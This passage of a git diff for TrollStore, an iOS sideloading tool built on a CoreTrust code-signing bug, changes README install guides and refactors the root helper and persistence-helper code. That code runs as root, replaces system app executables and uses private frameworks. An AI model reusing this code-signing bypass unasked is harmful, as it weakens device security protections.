iOS 15.6 and certainly not on iOS 16.x), please stop asking!** +# Compatibility -# Installing TrollStore +TrollStore works on **iOS 14.0 - 15.4.1**, on **iOS 15.5 beta 1 - iOS 15.5 beta 4** and on **iOS 15.6 beta 1 - iOS 15.6 beta 5**. -1. On your iOS device (14.0 - 15.5b4), click [this link](https://api.jailbreaks.app/troll). +iOS 15.5 RC / full build is **NOT** supported. + +Anything higher than iOS 15.6 beta 5 (including iOS 15.6 RC / full build) is **NOT** supported. + +Anything lower than iOS 14.0 is **NOT** supported. + +Anything not supported right now will **_NEVER_** be supported, TrollStore is a one time thing, it will not receive compatiblity updates in the future, please **stop asking** about it, GitHub issues regarding version support will be **closed without answer**. + +# Installing TrollStore (No Jailbreak) + +## Installation Links: + +[Installation Link 1 - Supports all devices on iOS 15 and up](https://api.jailbreaks.app/troll) + +[Installation Link 2 - Supports all arm64e (A12 - A15) devices on iOS 14 and up](https://api.jailbreaks.app/troll64e) + +Please refer to "Compatbility" above to check whether your version is compatible, if it's not then these links will not work. + +This installation method unfortunately does **NOT** work on arm64 (A8 - A11) iOS 14 devices, for these devices, jailbreak with checkra1n and then use the jailbroken installation guide below. + +## Guide + +1. Based on what device you are using, pick the one of the two links above and tap it. 2. An alert should appear, click "Install". @@ -20,12 +42,30 @@ It works because of the CoreTrust bug that **_ONLY_** affects iOS 14.0 - 15.4.1 6. Wait a few seconds, your device should respring and TrollStore will be installed. -7. You can now delete the "GTA Car Tracker" app, it is no longer needed. +7. You can now either delete the "GTA Car Tracker" app, or register it as the persistence helper by opening it and tapping the option at the bottom and keep it. -8. Open TrollStore and press "Install ldid" in the Settings tab, then read the information under "Persistence", and install the Persistence Helper into a system app if want persistence. +8. Open the TrollStore app and press "Install ldid" in the Settings tab, then read the information under "Persistence", and install the Persistence Helper into a system app if want persistence. 9. Done, you can now share IPA files with TrollStore and they will be permanently installed on your device. +# Installing TrollStore (Jailbreak) + +Supports jailbroken devices running 14.0 or above. + +## Guide + +1. Open your package manager, make sure Havoc repo (https://havoc.app) is added under Sources, then search for "TrollStore Helper" and install it + +2. After the installation, respring and a "TrollHelper" app should be on your home screen, launch that. + +3. Launch the app, tap "Install TrollStore". + +4. Wait a few seconds, your device should respring and TrollStore will be installed. + +5. Open the TrollStore app and press "Install ldid" in the Settings tab, then read the information under "Persistence", the TrollHelper app on the home screen will be your persistence helper. + +6. Done, you can now share IPA files with TrollStore and they will be permanently installed on your device. + # Updating TrollStore When a new TrollStore update is available, a button to install it will appear at the top in the TrollStore settings. When tapping the button, TrollStore will automatically download the update, install it and respring. diff --git a/Helper/Makefile b/RootHelper/Makefile similarity index 62% rename from Helper/Makefile rename to RootHelper/Makefile index 18aa46d..5ec3849 100644 --- a/Helper/Makefile +++ b/RootHelper/Makefile @@ -5,9 +5,9 @@ include $(THEOS)/makefiles/common.mk TOOL_NAME = trollstorehelper -trollstorehelper_FILES = $(wildcard *.m) -trollstorehelper_CFLAGS = -fobjc-arc -trollstorehelper_CODESIGN_FLAGS = -Sentitlements.plist +trollstorehelper_FILES = $(wildcard *.m) $(wildcard ../Shared/*.m) +trollstorehelper_CFLAGS = -fobjc-arc -I../Shared +trollstorehelper_CODESIGN_FLAGS = -Sentitlements.plist -K../cert.p12 trollstorehelper_INSTALL_PATH = /usr/local/bin trollstorehelper_LIBRARIES = archive trollstorehelper_PRIVATE_FRAMEWORKS = SpringBoardServices BackBoardServices diff --git a/Helper/control b/RootHelper/control similarity index 93% rename from Helper/control rename to RootHelper/control index 4a69dfa..4a82fb8 100644 --- a/Helper/control +++ b/RootHelper/control @@ -1,6 +1,6 @@ Package: com.opa334.trollstoreroothelper Name: trollstoreroothelper -Version: 1.1.2 +Version: 1.2 Architecture: iphoneos-arm Description: An awesome tool of some sort!! Maintainer: opa334 diff --git a/Helper/entitlements.plist b/RootHelper/entitlements.plist similarity index 100% rename from Helper/entitlements.plist rename to RootHelper/entitlements.plist diff --git a/Helper/main.m b/RootHelper/main.m similarity index 94% rename from Helper/main.m rename to RootHelper/main.m index 76cafb5..558d040 100644 --- a/Helper/main.m +++ b/RootHelper/main.m @@ -6,14 +6,13 @@ #import #import #import -#import "CoreServices.h" -#import "Shared.h" +#import #import #import #import -#ifdef INSTALLER_EMBEDDED +#ifdef EMBEDDED_ROOT_HELPER #define MAIN_NAME rootHelperMain #else #define MAIN_NAME main @@ -81,12 +80,6 @@ NSSet* appleURLSchemes(void) return systemURLSchemes.copy; } -extern char*** _NSGetArgv(); -NSString* safe_getExecutablePath() -{ - char* executablePathC = **_NSGetArgv(); - return [NSString stringWithUTF8String:executablePathC]; -} NSDictionary* infoDictionaryForAppPath(NSString* appPath) { @@ -116,28 +109,6 @@ NSString* appPathForAppId(NSString* appId) return nil; } -static NSString* getNSStringFromFile(int fd) -{ - NSMutableString* ms = [NSMutableString new]; - ssize_t num_read; - char c; - while((num_read = read(fd, &c, sizeof(c)))) - { - [ms appendString:[NSString stringWithFormat:@"%c", c]]; - } - return ms.copy; -} - -static void printMultilineNSString(NSString* stringToPrint) -{ - NSCharacterSet *separator = [NSCharacterSet newlineCharacterSet]; - NSArray* lines = [stringToPrint componentsSeparatedByCharactersInSet:separator]; - for(NSString* line in lines) - { - NSLog(@"%@", line); - } -} - void installLdid(NSString* ldidToCopyPath) { if(![[NSFileManager defaultManager] fileExistsAtPath:ldidToCopyPath]) return; @@ -971,8 +942,8 @@ BOOL installTrollStore(NSString* pathToTar) } } - // Update persistence helper if installed - LSApplicationProxy* persistenceHelperApp = findPersistenceHelperApp(); + // Update system app persistence helper if used + LSApplicationProxy* persistenceHelperApp = findPersistenceHelperApp(PERSISTENCE_HELPER_TYPE_SYSTEM); if(persistenceHelperApp) { NSString* trollStorePersistenceHelper = [tmpTrollStore stringByAppendingPathComponent:@"PersistenceHelper"]; @@ -1008,7 +979,7 @@ BOOL _installPersistenceHelper(LSApplicationProxy* appProxy, NSString* sourcePer } NSString* markPath = [bundlePath stringByAppendingPathComponent:@".TrollStorePersistenceHelper"]; - NSString* helperPath = [bundlePath stringByAppendingPathComponent:@"trollstorehelper"]; + NSString* rootHelperPath = [bundlePath stringByAppendingPathComponent:@"trollstorehelper"]; // remove existing persistence helper binary if exists if([[NSFileManager defaultManager] fileExistsAtPath:markPath] && [[NSFileManager defaultManager] fileExistsAtPath:executablePath]) @@ -1017,9 +988,9 @@ BOOL _installPersistenceHelper(LSApplicationProxy* appProxy, NSString* sourcePer } // remove existing root helper binary if exists - if([[NSFileManager defaultManager] fileExistsAtPath:helperPath]) + if([[NSFileManager defaultManager] fileExistsAtPath:rootHelperPath]) { - [[NSFileManager defaultManager] removeItemAtPath:helperPath error:nil]; + [[NSFileManager defaultManager] removeItemAtPath:rootHelperPath error:nil]; } // install new persistence helper binary @@ -1032,13 +1003,13 @@ BOOL _installPersistenceHelper(LSApplicationProxy* appProxy, NSString* sourcePer chown(executablePath.UTF8String, 33, 33); NSError* error; - if(![[NSFileManager defaultManager] copyItemAtPath:sourceRootHelper toPath:helperPath error:&error]) + if(![[NSFileManager defaultManager] copyItemAtPath:sourceRootHelper toPath:rootHelperPath error:&error]) { NSLog(@"error copying root helper: %@", error); } - chmod(helperPath.UTF8String, 0755); - chown(helperPath.UTF8String, 0, 0); + chmod(rootHelperPath.UTF8String, 0755); + chown(rootHelperPath.UTF8String, 0, 0); // mark system app as persistence helper if(![[NSFileManager defaultManager] fileExistsAtPath:markPath]) @@ -1051,7 +1022,7 @@ BOOL _installPersistenceHelper(LSApplicationProxy* appProxy, NSString* sourcePer void installPersistenceHelper(NSString* systemAppId) { - if(findPersistenceHelperApp()) return; + if(findPersistenceHelperApp(PERSISTENCE_HELPER_TYPE_ALL)) return; NSString* persistenceHelperBinary = [trollStoreAppPath() stringByAppendingPathComponent:@"PersistenceHelper"]; NSString* rootHelperBinary = [trollStoreAppPath() stringByAppendingPathComponent:@"trollstorehelper"]; @@ -1075,13 +1046,23 @@ void installPersistenceHelper(NSString* systemAppId) BKSTerminateApplicationForReasonAndReportWithDescription(systemAppId, 5, false, @"TrollStore - Reload persistence helper"); } +void unregisterUserPersistenceHelper() +{ + LSApplicationProxy* userAppProxy = findPersistenceHelperApp(PERSISTENCE_HELPER_TYPE_USER); + if(userAppProxy) + { + NSString* markPath = [userAppProxy.bundleURL.path stringByAppendingPathComponent:@".TrollStorePersistenceHelper"]; + [[NSFileManager defaultManager] removeItemAtPath:markPath error:nil]; + } +} + void uninstallPersistenceHelper(void) { - LSApplicationProxy* appProxy = findPersistenceHelperApp(); - if(appProxy) + LSApplicationProxy* systemAppProxy = findPersistenceHelperApp(PERSISTENCE_HELPER_TYPE_SYSTEM); + if(systemAppProxy) { - NSString* executablePath = appProxy.canonicalExecutablePath; - NSString* bundlePath = appProxy.bundleURL.path; + NSString* executablePath = systemAppProxy.canonicalExecutablePath; + NSString* bundlePath = systemAppProxy.bundleURL.path; NSString* backupPath = [bundlePath stringByAppendingPathComponent:[[executablePath lastPathComponent] stringByAppendingString:@"_TROLLSTORE_BACKUP"]]; if(![[NSFileManager defaultManager] fileExistsAtPath:backupPath]) return; @@ -1094,8 +1075,25 @@ void uninstallPersistenceHelper(void) [[NSFileManager defaultManager] moveItemAtPath:backupPath toPath:executablePath error:nil]; - BKSTerminateApplicationForReasonAndReportWithDescription(appProxy.bundleIdentifier, 5, false, @"TrollStore - Reload persistence helper"); + BKSTerminateApplicationForReasonAndReportWithDescription(systemAppProxy.bundleIdentifier, 5, false, @"TrollStore - Reload persistence helper"); } + + LSApplicationProxy* userAppProxy = findPersistenceHelperApp(PERSISTENCE_HELPER_TYPE_USER); + if(userAppProxy) + { + unregisterUserPersistenceHelper(); + } +} + +void registerUserPersistenceHelper(NSString* userAppId) +{ + if(findPersistenceHelperApp(PERSISTENCE_HELPER_TYPE_ALL)) return; + + LSApplicationProxy* appProxy = [LSApplicationProxy applicationProxyForIdentifier:userAppId]; + if(!appProxy || ![appProxy.bundleType isEqualToString:@"User"]) return; + + NSString* markPath = [appProxy.bundleURL.path stringByAppendingPathComponent:@".TrollStorePersistenceHelper"]; + [[NSFileManager defaultManager] createFileAtPath:markPath contents:[NSData data] attributes:nil]; } int MAIN_NAME(int argc, char *argv[], char *envp[]) @@ -1105,8 +1103,7 @@ int MAIN_NAME(int argc, char *argv[], char *envp[]) NSLog(@"trollstore helper go, uid: %d, gid: %d", getuid(), getgid()); - NSBundle* mcmBundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/MobileContainerManager.framework"]; - [mcmBundle load]; + loadMCMFramework(); int ret = 0; @@ -1171,14 +1168,11 @@ int MAIN_NAME(int argc, char *argv[], char *envp[]) } else if([cmd isEqualToString:@"uninstall-persistence-helper"]) { uninstallPersistenceHelper(); - } else if([cmd isEqualToString:@"dash"]) + } else if([cmd isEqualToString:@"register-user-persistence-helper"]) { - LSApplicationProxy* appProxy = findPersistenceHelperApp(); - if(appProxy) - { - NSString* executablePath = appProxy.canonicalExecutablePath; - registerPath((char*)executablePath.UTF8String, 1); - } + if(argc <= 2) return -3; + NSString* userAppId = [NSString stringWithUTF8String:argv[2]]; + registerUserPersistenceHelper(userAppId); } NSLog(@"returning %d", ret); diff --git a/Helper/main.m-system b/RootHelper/main.m-system similarity index 100% rename from Helper/main.m-system rename to RootHelper/main.m-system diff --git a/Helper/uicache.h b/RootHelper/uicache.h similarity index 100% rename from Helper/uicache.h rename to RootHelper/uicache.h diff --git a/Helper/uicache.m b/RootHelper/uicache.m similarity index 100% rename from Helper/uicache.m rename to RootHelper/uicache.m diff --git a/Helper/unarchive.h b/RootHelper/unarchive.h similarity index 100% rename from Helper/unarchive.h rename to RootHelper/unarchive.h diff --git a/Helper/unarchive.m b/RootHelper/unarchive.m similarity index 100% rename from Helper/unarchive.m rename to RootHelper/unarchive.m diff --git a/Helper/CoreServices.h b/Shared/CoreServices.h similarity index 100% rename from Helper/CoreServices.h rename to Shared/CoreServices.h diff --git a/Store/TSListControllerShared.h b/Shared/TSListControllerShared.h similarity index 100% rename from Store/TSListControllerShared.h rename to Shared/TSListControllerShared.h diff --git a/Store/TSListControllerShared.m b/Shared/TSListControllerShared.m similarity index 93% rename from Store/TSListControllerShared.m rename to Shared/TSListControllerShared.m index 8455cbf..77ca47b 100644 --- a/Store/TSListControllerShared.m +++ b/Shared/TSListControllerShared.m @@ -1,6 +1,5 @@ #import "TSListControllerShared.h" #import "TSUtil.h" -#import "../Helper/Shared.h" @implementation TSListControllerShared @@ -99,7 +98,7 @@ [self downloadTrollStoreAndDo:^(NSString* tmpTarPath) { - int ret = spawnRoot(helperPath(), @[@"install-trollstore", tmpTarPath], nil, nil); + int ret = spawnRoot(rootHelperPath(), @[@"install-trollstore", tmpTarPath], nil, nil); [[NSFileManager defaultManager] removeItemAtPath:tmpTarPath error:nil]; if(ret == 0) @@ -153,7 +152,7 @@ dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^ { - spawnRoot(helperPath(), @[@"refresh-all"], nil, nil); + spawnRoot(rootHelperPath(), @[@"refresh-all"], nil, nil); dispatch_async(dispatch_get_main_queue(), ^ { @@ -168,7 +167,7 @@ dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^ { - spawnRoot(helperPath(), @[@"refresh"], nil, nil); + spawnRoot(rootHelperPath(), @[@"refresh"], nil, nil); respring(); dispatch_async(dispatch_get_main_queue(), ^ @@ -182,7 +181,7 @@ { if([self isTrollStore]) { - spawnRoot(helperPath(), @[@"uninstall-persistence-helper"], nil, nil); + spawnRoot(rootHelperPath(), @[@"uninstall-persistence-helper"], nil, nil); [self reloadSpecifiers]; } else @@ -194,7 +193,7 @@ UIAlertAction* continueAction = [UIAlertAction actionWithTitle:@"Continue" style:UIAlertActionStyleDestructive handler:^(UIAlertAction* action) { - spawnRoot(helperPath(), @[@"uninstall-persistence-helper"], nil, nil); + spawnRoot(rootHelperPath(), @[@"uninstall-persistence-helper"], nil, nil); exit(0); }]; [uninstallWarningAlert addAction:continueAction]; @@ -224,7 +223,7 @@ UIAlertAction* continueAction = [UIAlertAction actionWithTitle:@"Continue" style:UIAlertActionStyleDestructive handler:^(UIAlertAction* action) { - spawnRoot(helperPath(), @[@"uninstall-trollstore"], nil, nil); + spawnRoot(rootHelperPath(), @[@"uninstall-trollstore"], nil, nil); [self handleUninstallation]; }]; [uninstallWarningAlert addAction:continueAction]; diff --git a/Shared/TSUtil.h b/Shared/TSUtil.h new file mode 100644 index 0000000..4ab538f --- /dev/null +++ b/Shared/TSUtil.h @@ -0,0 +1,26 @@ +@import Foundation; +#import "CoreServices.h" + +extern void chineseWifiFixup(void); +extern void loadMCMFramework(void); +extern NSString* safe_getExecutablePath(); +extern NSString* rootHelperPath(void); +extern NSString* getNSStringFromFile(int fd); +extern void printMultilineNSString(NSString* stringToPrint); +extern int spawnRoot(NSString* path, NSArray* args, NSString** stdOut, NSString** stdErr); +extern void respring(void); +extern void fetchLatestTrollStoreVersion(void (^completionHandler)(NSString* latestVersion)); + +extern NSArray* trollStoreInstalledAppBundlePaths(); +extern NSArray* trollStoreInstalledAppContainerPaths(); +extern NSString* trollStorePath(); +extern NSString* trollStoreAppPath(); + +typedef enum +{ + PERSISTENCE_HELPER_TYPE_USER = 1 << 0, + PERSISTENCE_HELPER_TYPE_SYSTEM = 1 << 1, + PERSISTENCE_HELPER_TYPE_ALL = PERSISTENCE_HELPER_TYPE_USER | PERSISTENCE_HELPER_TYPE_SYSTEM +} PERSISTENCE_HELPER_TYPE; + +extern LSApplicationProxy* findPersistenceHelperApp(PERSISTENCE_HELPER_TYPE allowedTypes); \ No newline at end of file diff --git a/Store/TSUtil.m b/Shared/TSUtil.m similarity index 58% rename from Store/TSUtil.m rename to Shared/TSUtil.m index 2a225b7..bd7b29f 100644 --- a/Store/TSUtil.m +++ b/Shared/TSUtil.m @@ -16,15 +16,38 @@ extern int posix_spawnattr_set_persona_gid_np(const posix_spawnattr_t* __restric void chineseWifiFixup(void) { - Class K_PSAppDataUsagePolicyCache = NSClassFromString(@"PSAppDataUsagePolicyCache"); - PSAppDataUsagePolicyCache* cache = [K_PSAppDataUsagePolicyCache sharedInstance]; - [cache setUsagePoliciesForBundle:NSBundle.mainBundle.bundleIdentifier cellular:true wifi:true]; + NSBundle *bundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/SettingsCellular.framework"]; + [bundle load]; + [[NSClassFromString(@"PSAppDataUsagePolicyCache") sharedInstance] setUsagePoliciesForBundle:NSBundle.mainBundle.bundleIdentifier cellular:true wifi:true]; } -NSString* helperPath(void) +void loadMCMFramework(void) +{ + static dispatch_once_t onceToken; + dispatch_once (&onceToken, ^{ + NSBundle* mcmBundle = [NSBundle bundleWithPath:@"/System/Library/PrivateFrameworks/MobileContainerManager.framework"]; + [mcmBundle load]; + }); +} + +extern char*** _NSGetArgv(); +NSString* safe_getExecutablePath() +{ + char* executablePathC = **_NSGetArgv(); + return [NSString stringWithUTF8String:executablePathC]; +} + +#ifdef EMBEDDED_ROOT_HELPER +NSString* rootHelperPath(void) +{ + return safe_getExecutablePath(); +} +#else +NSString* rootHelperPath(void) { return [[NSBundle mainBundle].bundlePath stringByAppendingPathComponent:@"trollstorehelper"]; } +#endif NSString* getNSStringFromFile(int fd) { @@ -220,4 +243,104 @@ void fetchLatestTrollStoreVersion(void (^completionHandler)(NSString* latestVers }]; [task resume]; +} + +NSArray* trollStoreInstalledAppContainerPaths() +{ + NSMutableArray* appContainerPaths = [NSMutableArray new]; + + NSString* appContainersPath = @"/var/containers/Bundle/Application"; + + NSError* error; + NSArray* containers = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:appContainersPath error:&error]; + if(error) + { + NSLog(@"error getting app bundles paths %@", error); + } + if(!containers) return nil; + + for(NSString* container in containers) + { + NSString* containerPath = [appContainersPath stringByAppendingPathComponent:container]; + BOOL isDirectory = NO; + BOOL exists = [[NSFileManager defaultManager] fileExistsAtPath:containerPath isDirectory:&isDirectory]; + if(exists && isDirectory) + { + NSString* trollStoreMark = [containerPath stringByAppendingPathComponent:@"_TrollStore"]; + if([[NSFileManager defaultManager] fileExistsAtPath:trollStoreMark]) + { + NSString* trollStoreApp = [containerPath stringByAppendingPathComponent:@"TrollStore.app"]; + if(![[NSFileManager defaultManager] fileExistsAtPath:trollStoreApp]) + { + [appContainerPaths addObject:containerPath]; + } + } + } + } + + return appContainerPaths.copy; +} + +NSArray* trollStoreInstalledAppBundlePaths() +{ + NSMutableArray* appPaths = [NSMutableArray new]; + for(NSString* containerPath in trollStoreInstalledAppContainerPaths()) + { + NSArray* items = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:containerPath error:nil]; + if(!items) return nil; + + for(NSString* item in items) + { + if([item.pathExtension isEqualToString:@"app"]) + { + [appPaths addObject:[containerPath stringByAppendingPathComponent:item]]; + } + } + } + return appPaths.copy; +} + +NSString* trollStorePath() +{ + loadMCMFramework(); + NSError* mcmError; + MCMAppContainer* appContainer = [NSClassFromString(@"MCMAppContainer") containerWithIdentifier:@"com.opa334.TrollStore" createIfNecessary:NO existed:NULL error:&mcmError]; + if(!appContainer) return nil; + return appContainer.url.path; +} + +NSString* trollStoreAppPath() +{ + return [trollStorePath() stringByAppendingPathComponent:@"TrollStore.app"]; +} + +LSApplicationProxy* findPersistenceHelperApp(PERSISTENCE_HELPER_TYPE allowedTypes) +{ + __block LSApplicationProxy* outProxy; + + void (^searchBlock)(LSApplicationProxy* appProxy) = ^(LSApplicationProxy* appProxy) + { + if(appProxy.installed && !appProxy.restricted) + { + if([appProxy.bundleURL.path hasPrefix:@"/private/var/containers"]) + { + NSURL* trollStorePersistenceMarkURL = [appProxy.bundleURL URLByAppendingPathComponent:@".TrollStorePersistenceHelper"]; + if([trollStorePersistenceMarkURL checkResourceIsReachableAndReturnError:nil]) + { + outProxy = appProxy; + } + } + } + }; + + if(allowedTypes & PERSISTENCE_HELPER_TYPE_USER) + { + [[LSApplicationWorkspace defaultWorkspace] enumerateApplicationsOfType:0 block:searchBlock]; + } + if(allowedTypes & PERSISTENCE_HELPER_TYPE_SYSTEM) + { + [[LSApplicationWorkspace defaultWorkspace] enumerateApplicationsOfType:1 block:searchBlock]; + } + + return outProxy; } \ No newline at end of file diff --git a/Store/Resources/LaunchImage-700-568h@2x.png b/Store/Resources/LaunchImage-700-568h@2x.png deleted file mode 100644 index e69de29..0000000 diff --git a/Store/Resources/LaunchImage-700-Landscape@2x~ipad.png b/Store/Resources/LaunchImage-700-Landscape@2x~ipad.png deleted file mode 100644 index e69de29..0000000 diff --git a/Store/Resources/LaunchImage-700-Landscape~ipad.png b/Store/Resources/LaunchImage-700-Landscape~ipad.png deleted file mode 100644 index e69de29..0000000 diff --git a/Store/Resources/LaunchImage-700-Portrait@2x~ipad.png b/Store/Resources/LaunchImage-700-Portrait@2x~ipad.png deleted file mode 100644 index e69de29..0000000 diff --git a/Store/Resources/LaunchImage-700-Portrait~ipad.png b/Store/Resources/LaunchImage-700-Portrait~ipad.png deleted file mode 100644 index e69de29..0000000 diff --git a/Store/Resources/LaunchImage-800-667h@2x.png b/Store/Resources/LaunchImage-800-667h@2x.png deleted file mode 100644 index e69de29..0000000 diff --git a/Store/Resources/LaunchImage-800-Landscape-736h@3x.png b/Store/Resources/LaunchImage-800-Landscape-736h@3x.png deleted file mode 100644 index e69de29..0000000 diff --git a/Store/Resources/LaunchImage-800-Portrait-736h@3x.png b/Store/Resources/LaunchImage-800-Portrait-736h@3x.png deleted file mode 100644 index e69de29..0000000 diff --git a/Store/Resources/LaunchImage.png b/Store/Resources/LaunchImage.png deleted file mode 100644 index e69de29..0000000 diff --git a/Store/Resources/LaunchImage@2x.png b/Store/Resources/LaunchImage@2x.png deleted file mode 100644 index e69de29..0000000 diff --git a/Store/TSUtil.h b/Store/TSUtil.h deleted file mode 100644 index e01f9f0..0000000 --- a/Store/TSUtil.h +++ /dev/null @@ -1,8 +0,0 @@ -@import Foundation; - -extern void chineseWifiFixup(void); -extern NSString* helperPath(void); -extern void printMultilineNSString(NSString* stringToPrint); -extern int spawnRoot(NSString* path, NSArray* args, NSString** stdOut, NSString** stdErr); -extern void respring(void); -extern void fetchLatestTrollStoreVersion(void (^completionHandler)(NSString* latestVersion)); \ No newline at end of file diff --git a/TrollHelper/Makefile b/TrollHelper/Makefile new file mode 100644 index 0000000..e93739f --- /dev/null +++ b/TrollHelper/Makefile @@ -0,0 +1,23 @@ +export EMBEDDED_ROOT_HELPER ?= 0 + +TARGET := iphone:clang:14.5:14.0 +INSTALL_TARGET_PROCESSES = TrollStorePersistenceHelper + +include $(THEOS)/makefiles/common.mk + +APPLICATION_NAME = TrollStorePersistenceHelper + +TrollStorePersistenceHelper_FILES = $(wildcard *.m) $(wildcard ../Shared/*.m) +TrollStorePersistenceHelper_FRAMEWORKS = UIKit CoreGraphics CoreServices +TrollStorePersistenceHelper_PRIVATE_FRAMEWORKS = Preferences +TrollStorePersistenceHelper_CFLAGS = -fobjc-arc -I../Shared +TrollStorePersistenceHelper_CODESIGN_FLAGS = -Sentitlements.plist -K../cert.p12 + +ifeq ($(EMBEDDED_ROOT_HELPER),1) +TrollStorePersistenceHelper_CFLAGS += -DEMBEDDED_ROOT_HELPER=1 +TrollStorePersistenceHelper_FILES += $(wildcard ../RootHelper/*.m) +TrollStorePersistenceHelper_LIBRARIES += archive +TrollStorePersistenceHelper_PRIVATE_FRAMEWORKS += SpringBoardServices BackBoardServices +endif + +include $(THEOS_MAKE_PATH)/application.mk \ No newline at end of file diff --git a/PersistenceHelper/Resources/AppIcon29x29.png b/TrollHelper/Resources/AppIcon29x29.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon29x29.png rename to TrollHelper/Resources/AppIcon29x29.png diff --git a/PersistenceHelper/Resources/AppIcon29x29@2x.png b/TrollHelper/Resources/AppIcon29x29@2x.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon29x29@2x.png rename to TrollHelper/Resources/AppIcon29x29@2x.png diff --git a/PersistenceHelper/Resources/AppIcon29x29@3x.png b/TrollHelper/Resources/AppIcon29x29@3x.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon29x29@3x.png rename to TrollHelper/Resources/AppIcon29x29@3x.png diff --git a/PersistenceHelper/Resources/AppIcon40x40.png b/TrollHelper/Resources/AppIcon40x40.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon40x40.png rename to TrollHelper/Resources/AppIcon40x40.png diff --git a/PersistenceHelper/Resources/AppIcon40x40@2x.png b/TrollHelper/Resources/AppIcon40x40@2x.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon40x40@2x.png rename to TrollHelper/Resources/AppIcon40x40@2x.png diff --git a/PersistenceHelper/Resources/AppIcon40x40@3x.png b/TrollHelper/Resources/AppIcon40x40@3x.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon40x40@3x.png rename to TrollHelper/Resources/AppIcon40x40@3x.png diff --git a/PersistenceHelper/Resources/AppIcon50x50.png b/TrollHelper/Resources/AppIcon50x50.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon50x50.png rename to TrollHelper/Resources/AppIcon50x50.png diff --git a/PersistenceHelper/Resources/AppIcon50x50@2x.png b/TrollHelper/Resources/AppIcon50x50@2x.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon50x50@2x.png rename to TrollHelper/Resources/AppIcon50x50@2x.png diff --git a/PersistenceHelper/Resources/AppIcon57x57.png b/TrollHelper/Resources/AppIcon57x57.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon57x57.png rename to TrollHelper/Resources/AppIcon57x57.png diff --git a/PersistenceHelper/Resources/AppIcon57x57@2x.png b/TrollHelper/Resources/AppIcon57x57@2x.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon57x57@2x.png rename to TrollHelper/Resources/AppIcon57x57@2x.png diff --git a/PersistenceHelper/Resources/AppIcon57x57@3x.png b/TrollHelper/Resources/AppIcon57x57@3x.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon57x57@3x.png rename to TrollHelper/Resources/AppIcon57x57@3x.png diff --git a/PersistenceHelper/Resources/AppIcon60x60.png b/TrollHelper/Resources/AppIcon60x60.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon60x60.png rename to TrollHelper/Resources/AppIcon60x60.png diff --git a/PersistenceHelper/Resources/AppIcon60x60@2x.png b/TrollHelper/Resources/AppIcon60x60@2x.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon60x60@2x.png rename to TrollHelper/Resources/AppIcon60x60@2x.png diff --git a/PersistenceHelper/Resources/AppIcon60x60@3x.png b/TrollHelper/Resources/AppIcon60x60@3x.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon60x60@3x.png rename to TrollHelper/Resources/AppIcon60x60@3x.png diff --git a/PersistenceHelper/Resources/AppIcon72x72.png b/TrollHelper/Resources/AppIcon72x72.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon72x72.png rename to TrollHelper/Resources/AppIcon72x72.png diff --git a/PersistenceHelper/Resources/AppIcon72x72@2x.png b/TrollHelper/Resources/AppIcon72x72@2x.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon72x72@2x.png rename to TrollHelper/Resources/AppIcon72x72@2x.png diff --git a/PersistenceHelper/Resources/AppIcon76x76.png b/TrollHelper/Resources/AppIcon76x76.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon76x76.png rename to TrollHelper/Resources/AppIcon76x76.png diff --git a/PersistenceHelper/Resources/AppIcon76x76@2x.png b/TrollHelper/Resources/AppIcon76x76@2x.png similarity index 100% rename from PersistenceHelper/Resources/AppIcon76x76@2x.png rename to TrollHelper/Resources/AppIcon76x76@2x.png diff --git a/PersistenceHelper/Resources/Info.plist b/TrollHelper/Resources/Info.plist similarity index 99% rename from PersistenceHelper/Resources/Info.plist rename to TrollHelper/Resources/Info.plist index d2cdea4..6fb1e96 100644 --- a/PersistenceHelper/Resources/Info.plist +++ b/TrollHelper/Resources/Info.plist @@ -52,7 +52,7 @@ iPhoneOS CFBundleVersion - 1.1.2 + 1.2 LSRequiresIPhoneOS UIDeviceFamily diff --git a/Installer/TrollInstaller2/Resources/LaunchImage-700-568h@2x.png b/TrollHelper/Resources/LaunchImage-700-568h@2x.png similarity index 100% rename from Installer/TrollInstaller2/Resources/LaunchImage-700-568h@2x.png rename to TrollHelper/Resources/LaunchImage-700-568h@2x.png diff --git a/Installer/TrollInstaller2/Resources/LaunchImage-700-Landscape@2x~ipad.png b/TrollHelper/Resources/LaunchImage-700-Landscape@2x~ipad.png similarity index 100% rename from Installer/TrollInstaller2/Resources/LaunchImage-700-Landscape@2x~ipad.png rename to TrollHelper/Resources/LaunchImage-700-Landscape@2x~ipad.png diff --git a/Installer/TrollInstaller2/Resources/LaunchImage-700-Landscape~ipad.png b/TrollHelper/Resources/LaunchImage-700-Landscape~ipad.png similarity index 100% rename from Installer/TrollInstaller2/Resources/LaunchImage-700-Landscape~ipad.png rename to TrollHelper/Resources/LaunchImage-700-Landscape~ipad.png diff --git a/Installer/TrollInstaller2/Resources/LaunchImage-700-Portrait@2x~ipad.png b/TrollHelper/Resources/LaunchImage-700-Portrait@2x~ipad.png similarity index 100% rename from Installer/TrollInstaller2/Resources/LaunchImage-700-Portrait@2x~ipad.png rename to TrollHelper/Resources/LaunchImage-700-Portrait@2x~ipad.png diff --git a/Installer/TrollInstaller2/Resources/LaunchImage-700-Portrait~ipad.png b/TrollHelper/Resources/LaunchImage-700-Portrait~ipad.png similarity index 100% rename from Installer/TrollInstaller2/Resources/LaunchImage-700-Portrait~ipad.png rename to TrollHelper/Resources/LaunchImage-700-Portrait~ipad.png diff --git 